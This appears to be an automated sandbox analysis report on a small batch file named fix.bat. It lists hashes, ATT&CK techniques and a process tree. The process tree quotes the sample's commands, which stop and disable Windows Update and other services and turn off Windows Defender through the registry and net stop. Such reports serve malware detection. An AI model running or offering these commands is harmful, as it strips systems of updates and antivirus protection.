1b409fcfd4480085fc4ae1125c358a2637084eb4133ac97353ab982c85029254

Analysis

max time kernel
130s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
27-05-2024 12:24

Target

fix.bat
Size

526B
MD5

09c8df73c596e42192d21911d35c9ec4
SHA1

c6caa0111023bf4aca8ff072c9f8c86b100922bf
SHA256

1b409fcfd4480085fc4ae1125c358a2637084eb4133ac97353ab982c85029254
SHA512

f64cf91fb03e805784790096e00b3e844446e504b2bbdf40fff70461b025bfe62cfc73a00466b0fc7fb73018f2237a5450345a65af026078456238f2a71c991e

Score

8^/10

evasion execution

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 2556	1336	cmd.exe	84
PID 1336 wrote to memory of 2556	1336	cmd.exe	84
PID 1336 wrote to memory of 3900	1336	cmd.exe	85
PID 1336 wrote to memory of 3900	1336	cmd.exe	85
PID 1336 wrote to memory of 1860	1336	cmd.exe	87
PID 1336 wrote to memory of 1860	1336	cmd.exe	87
PID 1336 wrote to memory of 2748	1336	cmd.exe	88
PID 1336 wrote to memory of 2748	1336	cmd.exe	88
PID 1336 wrote to memory of 3580	1336	cmd.exe	89
PID 1336 wrote to memory of 3580	1336	cmd.exe	89
PID 1336 wrote to memory of 4408	1336	cmd.exe	90
PID 1336 wrote to memory of 4408	1336	cmd.exe	90
PID 1336 wrote to memory of 1988	1336	cmd.exe	91
PID 1336 wrote to memory of 1988	1336	cmd.exe	91
PID 1336 wrote to memory of 5116	1336	cmd.exe	92
PID 1336 wrote to memory of 5116	1336	cmd.exe	92
PID 5116 wrote to memory of 5060	5116	net.exe	93
PID 5116 wrote to memory of 5060	5116	net.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fix.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\system32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2556
- C:\Windows\system32\sc.exe
  sc config wuauserv start=disabled
  2⤵
  - Launches sc.exe
  PID:3900
- C:\Windows\system32\sc.exe
  sc stop WSearch
  2⤵
  - Launches sc.exe
  PID:1860
- C:\Windows\system32\sc.exe
  sc config WSearch start=disabled
  2⤵
  - Launches sc.exe
  PID:2748
- C:\Windows\system32\sc.exe
  sc stop SysMain
  2⤵
  - Launches sc.exe
  PID:3580
- C:\Windows\system32\sc.exe
  sc config SysMain start=disabled
  2⤵
  - Launches sc.exe
  PID:4408
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:5060